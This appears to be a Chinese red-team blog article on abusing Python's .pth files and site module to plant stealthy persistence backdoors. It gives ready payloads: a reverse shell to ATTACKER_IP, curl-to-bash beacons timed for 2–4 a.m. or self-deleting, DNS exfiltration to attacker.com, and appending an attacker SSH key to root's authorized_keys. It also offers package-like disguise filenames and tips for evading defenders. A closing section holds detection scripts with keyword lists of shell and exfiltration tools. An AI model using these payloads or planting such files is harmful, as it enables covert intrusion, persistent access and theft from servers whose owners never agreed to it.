还没关注?↑↑↑伸出手指点上方“名片”这里。
建议大家把本公众号置顶(设为星标★),以便第一时间看到推送。
一款冷门实战技术:.pth 权限持久化可用于攻防场景
一、前言
在攻防对抗的场景中:红队选手一般是先拿到shell,以此为起点再往内网渗透;而蓝队则是靠设备加人工,7×24小时盯着,专门防红队的攻击。大家可以想想,在这种攻防博弈里,一旦攻击被蓝队发现,能不能扛住他们的排查和溯源,能不能稳住已经拿到的权限,才是最关键的——除非是那种边缘资产,能随便关掉,像核心生产系统这类网站服务器,根本不能随便关停。现在的问题是,那些传统的持久化手段,蓝队基本上都摸透了,而且很难长期藏住。面对这种情况,下面咱们就介绍一种冷门手法——利用Python的.pth后门。这种后门不是利用漏洞,而是靠Python官方本身的设计特性来维持权限,目前仍然存在主流python版本中,且官方认为是合理化的机制,没有任何条件限制。它最厉害的地方在于:排查的时候看不到多余的进程和端口,也没有文件被篡改的痕迹,还能伪装文件名,不容易被杀毒软件检测到,只要Python进程一启动,它就会跟着复活,而且一般蓝队很难定位到它的存在。
二、核心原理
.pth 持久化后门依托 Python 官方设计机制,利用 python 解释器启动时自动加载内置的 site 模块,利用site 模块去执行 site-packages 目录下 .pth 文件中“import”开头的代码,从而实现代码的隐蔽执行与权限持久化。
优势在于它属于合法机制滥用、无新进程无端口、可伪装适配多平台,适用于运行 Flask、Django 等 Python 应用的服务器,攻击者获取 site-packages 写入权限(或 root 权限)即可完成植入。影响版本: Python 3.5+
.pth后门漏洞触发场景:
PM2、Supervisor、systemd管理的Flask、Django等Python Web服务重启pip install、pip list、pip freeze等pip命令执行cron定时任务执行Python脚本管理员手动运行python3 xxx.py服务器重启后systemd自动拉起Python服务。
路径配置文件 (.pth)
.pth 是 Python 专属的路径配置文件,用于扩展 Python 的模块搜索路径(sys.path),是 Python 官方设计的标准化配置方式。它的工作流程是在 Python 解释器启动时,内置的 site 模块会自动扫描指定目录(site-packages)下的 .pth 文件,无需手动配置环境变量 / 修改代码,即可将自定义模块目录加入全局搜索路径,实现自定义模块的 “全局调用”(任意 Python 脚本均可直接导入)。.pth 文件的范围分为全局和当前用户两类,存储路径以 Windows 为例如下所示。
范围 | 查询命令 | 示例输出 |
全局(所有用户) | python -c "import site; print(site.getsitepackages())"
| ['D:\\python38', 'D:\\python38\\lib\\site-packages'] |
仅当前用户 | python -m site --user-site
| C:\Users\Administrator\AppData\Roaming\Python\Python38\site-packages |
正常的.pth 格式文件
# .pth file for the PyWin32 extensionswin32win32\libPythonwin# And some hackery to deal with environments where the post_install script# isn't run.import pywin32_bootstrap
不正常的
import os; os.system("calc.exe")
site 模块
site模块是Python自带的模块,不用手动操作,在Python启动时(比如打开Python终端、运行.py脚本),自动运行加载site模块。它主要用于帮Python配置找模块搜索路径(sys.path),还有做一些启动时的基础准备工作。
官方说明可以看这里:https://docs.python.org/zh-cn/3.14/library/site.html#
根据site 模块文档的描述,我们可以看到它处理.pth文件的工作流程,不管是全局的site-packages目录,还是只有用户能用的user-site目录里的.pth文件,它都会一个个扫过去,一行一行处理里面的内容,规则特别简单:
1. 某一行如果是#开头的,就当是备注,直接跳过不看;2. 空行也直接跳过,没什么用;3. 某一行如果是以import开头的,它就会直接执行这行代码(相当于在Python里敲了这行命令运行);4. 其他内容,就当成“找模块的路径”,添加到Python的搜索列表里,这样Python就能找到你自己写的模块了。
这里需要强调一下,这种处理方式,不是Python的漏洞,是官方故意设计的功能——从代码注释里就能看出来,只要是import开头的行,Python一启动就会自动执行。而且是每次启动Python都会触发,没有任何条件,只要.pth文件还在,每次打开Python,这行代码就会自动跑一遍。
源码 Lib/site.py 中的addpackage()函数中,代码设计的原文。
def addpackage(sitedir, name, known_paths): """处理 site-packages 目录中的 .pth 文件: 对于文件中的每一行,要么将其与 sitedir 组合成路径并添加到 known_paths, 要么如果该行以 'import ' 开头则执行它。 """.....for n, line in enumerate(pth_content.splitlines(), 1): if line.startswith("#"): continue if line.strip() == "": continue try: if line.startswith(("import ", "import\t")): ## 重点是这个 exec(line) continue line = line.rstrip() dir, dircase = makepath(sitedir, line) if dircase not in known_paths and os.path.exists(dir): sys.path.append(dir) known_paths.add(dircase).....
三、实战演示
Windows 系统弹出计算器
1. 本地验证一下这个设计机制,我们先找到site-packages目录,执行命令查询,D:\\python38\\lib\\site-packages 这个目录是可以存储.pth文件的目录。
python -c "import site; print(site.getsitepackages())
2. 然后构造命令 在site-packages 文件夹中写入执行弹出计算机命令
echo import os; os.system("calc.exe") > D:\python38\lib\site-packages\setuptools-compat.pth
可以看到文件已经生成
然后本地验证存在后,随意执行 python 命令,就会发现存在弹计算器情况。
3. 如果尝试执行 pip 命令发现也会弹出计算器,这是因为 pip 它本身就是 python 脚本。
4.善后清除别忘了执行
del D:\python38\lib\site-packages\setuptools-compat.pth
Linux 系统反弹 shell
思路是一样的,也是先确定路径位置,然后修改反弹 shell 的 IP,这里生成的随意。
(但不要改成 red-team 或者 qaxnb,一查一个准,别显眼。)
python3 -c "import site; print(site.getsitepackages())"# 输出: ['/usr/lib/python3/dist-packages', '/usr/lib/python3.12/dist-packages']echo 'import os; os.system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\" &")' > /usr/lib/python3/dist-packages/distutils-compat.pth
其他触发
条件触发:只在特定时间执行,只在凌晨 2-4 点触发,降低被发现的概率。白天蓝队排查时完全静默。
import os, time; exec("h=time.localtime().tm_hour\nif 2<=h<=4: os.system('curl http://ATTACKER/beacon.sh|bash &')")
单次触发 + 自删除,执行一次后自动删除 .pth 文件。适合只需要回连一次下载更高级植入物的场景。
import os; exec("p='/usr/lib/python3/dist-packages/distutils-compat.pth'\nos.system('curl http://ATTACKER/payload.sh|bash &')\nos.remove(p)")
DNS 外带数据(无直接连接),不建立 TCP 连接,通过 DNS 查询外带信息。绕过出站流量监控。
import os; os.system("nslookup $(whoami).$(hostname).attacker.com &")
写入 SSH 公钥(无需回连),不需要反弹 shell,直接写入 SSH 公钥。之后用 SSH 正常登录,流量完全加密,和管理员的正常 SSH 登录无法区分。
import os; exec("d='/root/.ssh'\nos.makedirs(d,exist_ok=True)\nf=open(d+'/authorized_keys','a')\nf.write('\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@pwn\\n')\nf.close()\nos.chmod(d+'/authorized_keys',0o600)")
伪装文件名参考,好的伪装名应该看起来像合法的 Python 包配置
distutils-precedence.pth ← 真实存在的文件名setuptools-compat.pth ← 看起来像 setuptools 的兼容层pip-system-certs.pth ← 看起来像证书配置_virtualenv.pth ← 看起来像 virtualenv 的配置certifi-system-store.pth ← 看起来像证书存储配置
四、检测防护
Linux 脚本扫描
# 扫描所有 site-packages 中包含可疑关键词的 .pth 文件find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | while read f; doif grep -qiE "(os\.system|subprocess|os\.popen|socket|exec\(|eval\(|urllib|requests\.|curl|wget|bash|/bin/sh|reverse|/dev/tcp)" "$f"; thenecho "[!] 可疑: $f"cat "$f"echo "---"fidone
Windows 脚本扫描
Get-ChildItem -Path C:\ -Recurse -Filter "*.pth" -ErrorAction SilentlyContinue | Where-Object { $_.FullName -like "*site-packages*" } | ForEach-Object { $$content = Get-Content $$_.FullName -Raw if ($content -match "os\.system|subprocess|os\.popen|socket|exec\(|eval\(|calc|cmd|powershell") { Write-Host "[!] 可疑: $$($$_.FullName)" -ForegroundColor Red Write-Host $content Write-Host "---" } }
五、思考总结
在攻防对抗中,.pth文件后门是被低估的权限维持手段,它不利用漏洞,而是借助Python官方site.py模块的设计,启动时无条件执行.pth文件中import开头的代码,隐蔽且难以溯源。这一过程属于Python正常初始化行为,无异常痕迹,且主流HIDS/EDR几乎不扫描site-packages下的.pth文件,进一步提升其隐蔽性。对红队而言,它是优质的权限维持方案,无多余进程和端口,可长期潜伏;对蓝队而言,需将site-packages/*.pth纳入审计和监控,否则易留下后门隐患。服务器site-packages中可能隐藏未审计的隐形代码,会随Python进程启动隐蔽执行。
六、参考文献
https://medium.com/@brandonlove2150/upstyle-backdoor-letsdefend-7513e41cd145
https://docs.python.org/zh-cn/3.14/library/site.html#
https://www.cnblogs.com/Nestar/p/17336664.html
https://medium.com/@RyanHiebert/pth-files-in-python-9a4d26c128e3
https://mp.weixin.qq.com/s/dM5YtBnMxp4YoQ7OTy0b6w
https://mp.weixin.qq.com/s/paEcOaDw4qlPkxA64fJY0g